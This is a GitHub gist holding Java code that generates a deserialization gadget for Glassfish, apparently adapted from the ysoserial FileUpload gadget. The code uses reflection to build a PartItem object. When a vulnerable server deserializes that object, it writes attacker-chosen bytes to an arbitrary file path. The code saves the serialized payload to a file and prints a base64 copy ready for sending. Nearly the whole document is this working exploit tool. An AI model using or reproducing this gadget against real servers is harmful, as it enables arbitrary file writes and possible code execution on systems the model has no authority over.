Created
February 2, 2020 19:02
-
-
Save Frycos/7e673c1c56498282af6a44b4d2327656 to your computer and use it in GitHub Desktop.
Glassfish Gadget
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* author: @frycos | |
* heavily inspired by ysoserial FileUpload gadget | |
* | |
* Don't forget needed imports: | |
* import org.apache.catalina.connector.Request, | |
* import org.apache.catalina.fileupload.Multipart, | |
* and e.g. import org.glassfish.grizzly.servlet.WebappContext | |
* | |
* only applicable for non-default classpaths (but seen "in the wild") including Glassfish's web-core.jar | |
*/ | |
String repoPath = "C:\\Users\\Public\\Downloads"; | |
String filePath = repoPath + "\\whatever"; | |
String pwned = "PWNED"; | |
byte[] data = pwned.getBytes(); | |
int threshold = data.length + 1; | |
Class<?> partHeadersClass = Class.forName("org.apache.catalina.fileupload.PartHeaders"); | |
Constructor<?> constrPHC = partHeadersClass.getDeclaredConstructor(null); | |
constrPHC.setAccessible(true); | |
Object partHeadersInstance = constrPHC.newInstance(null); | |
Class<?> partItemClass = Class.forName("org.apache.catalina.fileupload.PartItem"); | |
Constructor<?> constructor = partItemClass.getDeclaredConstructor(Multipart.class, partHeadersClass, | |
String.class, String.class, boolean.class, String.class, String.class); | |
constructor.setAccessible(true); | |
Request req = new Request(); | |
File ffile = new File("IDontCare"); | |
Field svc = req.getClass().getDeclaredField("servletContext"); | |
ServletContext sc = new WebappContext("IDontCare"); | |
svc.setAccessible(true); | |
svc.set(req, sc); | |
Multipart mp = new Multipart(req, "test", 0, 0, 0); | |
// ------ BEGIN similar to ysoserial FileUpload Gadget but different ------ | |
File repository = new File(repoPath); | |
Object partItem = constructor.newInstance(mp, partHeadersInstance, "test", "application/octet-stream", false, | |
"test", "UTF8"); | |
Field fre = partItem.getClass().getDeclaredField("repository"); | |
fre.setAccessible(true); | |
fre.set(partItem, repository); | |
File outputFile = new File(filePath); | |
// Kill unserializable multipart | |
Field fmp = partItem.getClass().getDeclaredField("multipart"); | |
fmp.setAccessible(true); | |
fmp.set(partItem, null); | |
// Kill unserializable rb PropertyBundle | |
Field frb = partItem.getClass().getDeclaredField("rb"); | |
frb.setAccessible(true); | |
frb.set(partItem, null); | |
Class<?> deferredFileOutputStream = Class.forName("org.apache.catalina.fileupload.DeferredFileOutputStream"); | |
Constructor<?> dfosconstr = deferredFileOutputStream.getDeclaredConstructor(int.class, File.class); | |
dfosconstr.setAccessible(true); | |
Object dfos = dfosconstr.newInstance(threshold, outputFile); | |
Field fois = dfos.getClass().getDeclaredField("memoryOutputStream"); | |
fois.setAccessible(true); | |
OutputStream ois = (OutputStream) fois.get(dfos); | |
ois.write(data); | |
Class<?> thresholdingoutputstream = Class.forName("org.apache.catalina.fileupload.ThresholdingOutputStream"); | |
Field ftos = thresholdingoutputstream.getDeclaredField("written"); | |
ftos.setAccessible(true); | |
ftos.set(dfos, data.length); | |
Field fdfos = partItem.getClass().getDeclaredField("dfos"); | |
fdfos.setAccessible(true); | |
fdfos.set(partItem, dfos); | |
Field fst = partItem.getClass().getDeclaredField("sizeThreshold"); | |
fst.setAccessible(true); | |
fst.set(partItem, 0); | |
// ------ END similar to ysoserial FileUpload Gadget but different ------ | |
// Write our serialized object to disk | |
OutputStream os = new FileOutputStream("C:\\Users\\Public\\Downloads\\file.ser"); | |
ObjectOutputStream oos = new ObjectOutputStream(os); | |
oos.writeObject(partItem); | |
System.out.println("Serialized file written..."); | |
oos.close(); | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
ObjectOutputStream boos = new ObjectOutputStream(bos); | |
boos.writeObject(partItem); | |
boos.flush(); | |
System.out.println("Here is the base64 version:\n" + Base64.getUrlEncoder().encodeToString(bos.toByteArray()) | |
+ " \n with length: " + bos.toByteArray().length); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment